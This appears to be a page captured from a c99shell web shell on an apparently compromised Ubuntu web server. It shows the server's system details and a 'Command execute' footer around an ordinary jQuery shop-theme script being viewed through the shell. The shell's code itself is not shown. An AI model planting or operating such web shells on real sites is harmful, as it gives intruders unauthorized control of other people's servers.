Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 uid=33(www-data) gid=33(www-data) groups=33(www-data) Safe-mode: OFF (not secure) /uploads/frontend/bazar/js/ drwxr-xr-x | |
| Viewing file: Select action/file-type: /**
* This is main script file that contains JS code.
*/
(function ($) {
"use strict";
// Main Object
var THEME = {};
// Predefined variables
var
$collectionInputCounter = $('.input-counter'),
$collectionCountDown = $('[data-countdown]'),
$productDetailElement = $('#pd-o-initiate'),
$productDetailElementThumbnail = $('#pd-o-thumbnail'),
$shopCategoryToggleSpan = $('.shop-w__category-list .has-list > .js-shop-category-span'),// Recursive
$shopGridBtn = $('.js-shop-grid-target'),
$shopListBtn = $('.js-shop-list-target'),
$shopPerspectiveRow = $('.shop-p__collection > div');
THEME.initScrollSpy = function() {
var $bodyScrollSpy = $('#js-scrollspy-trigger');
if ($bodyScrollSpy.length) {
$bodyScrollSpy.scrollspy({
target: '#init-scrollspy'
});
}
};
// Bind Tooltip to all pages
THEME.initTooltip = function() {
$('[data-tooltip="tooltip"]').tooltip({
// The default value for trigger is 'hover focus',
// thus the tooltip stay visible after a button is clicked,
// until another button is clicked, because the button is focused.
trigger : 'hover'
});
};
// Input Counter
THEME.initInputCounter = function() {
// Check if Input Counters on the page
if ($collectionInputCounter.length) {
// Attach Click event to plus button
$collectionInputCounter.find('.input-counter__plus').on('click',function () {
var $input = $(this).parent().find('input');
var count = parseInt($input.val()) + 1; // Number + Number
$input.val(count).change();
});
// Attach Click event to minus button
$collectionInputCounter.find('.input-counter__minus').on('click',function () {
var $input = $(this).parent().find('input');
var count = parseInt($input.val()) - 1; // Number - Number
$input.val(count).change();
});
// Fires when the value of the element is changed
$collectionInputCounter.find('input').change(function () {
var $this = $(this);
var min = $this.data('min');
var max = $this.data('max');
var val = parseInt($this.val());// Current value
// Restrictions check
if (!val) {
val = 1;
}
// The min() method returns the number with the lowest value
val = Math.min(val,max);
// The max() method returns the number with the highest value
val = Math.max(val,min);
// Sets the Value
$this.val(val);
});
}
};
THEME.reshopNavigation = function() {
$('#navigation').shopNav();
$('#navigation1').shopNav();
$('#navigation2').shopNav();
$('#navigation3').shopNav();
};
// Remove Class from body element
THEME.appConfiguration = function() {
$('body').removeAttr('class');
$('.preloader').removeClass('is-active');
};
// Product Detail Init
THEME.productDetailInit = function() {
if ($productDetailElement.length && $productDetailElementThumbnail.length) {
var ELEVATE_ZOOM_OBJ = {
borderSize: 1,
autoWidth:true,
zoomWindowWidth: 540,
zoomWindowHeight: 540,
zoomWindowOffetx: 10,
borderColour: '#e9e9e9',
cursor: 'pointer'
};
// Fires after first initialization
$productDetailElement.on('init', function () {
$(this).closest('.slider-fouc').removeClass('slider-fouc');
});
$productDetailElement.slick({
slidesToShow: 1,
slidesToScroll: 1,
infinite:false,
arrows: false,
dots: false,
fade: true,
asNavFor: $productDetailElementThumbnail
});
// Init elevate zoom plugin to the first image
$('#pd-o-initiate .slick-current img').elevateZoom(ELEVATE_ZOOM_OBJ);
// Fires before slide change
$productDetailElement.on('beforeChange', function(event, slick, currentSlide, nextSlide){
// Get the next slide image
var $img = $(slick.$slides[nextSlide]).find('img');
// Remove old zoom elements
$('.zoomWindowContainer,.zoomContainer').remove();
// Reinit elevate zoom plugin to the next slide image
$($img).elevateZoom(ELEVATE_ZOOM_OBJ);
});
// Init Lightgallery plugin
$productDetailElement.lightGallery({
selector: '.pd-o-img-wrap',// lightgallery-core
download: false,// lightgallery-core
thumbnail: false,// Thumbnails
autoplayControls: false,// Autoplay-plugin
actualSize: false,// Zoom-plugin: Enable actual pixel icon
hash: false, // Hash-plugin
share: false// share-plugin
});
// Thumbnail images
// Fires after first initialization
$productDetailElementThumbnail.on('init', function () {
$(this).closest('.slider-fouc').removeAttr('class');
});
$productDetailElementThumbnail.slick({
slidesToShow: 4,
slidesToScroll: 1,
infinite:false,
arrows: true,
dots: false,
focusOnSelect: true,
asNavFor: $productDetailElement,
prevArrow:'<div class="pt-prev"><i class="fas fa-angle-left"></i>',
nextArrow:'<div class="pt-next"><i class="fas fa-angle-right"></i>',
responsive: [
{
breakpoint: 1200,
settings: {
slidesToShow: 4
}
},
{
breakpoint: 992,
settings: {
slidesToShow: 3
}
},
{
breakpoint: 576,
settings: {
slidesToShow: 2
}
}
]
});
}
};
THEME.initTooltip();
THEME.initScrollSpy();
THEME.reshopNavigation();
THEME.appConfiguration();
THEME.initInputCounter();
THEME.productDetailInit();
})(jQuery); |
:: Command execute :: | |
--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0044 ]-- |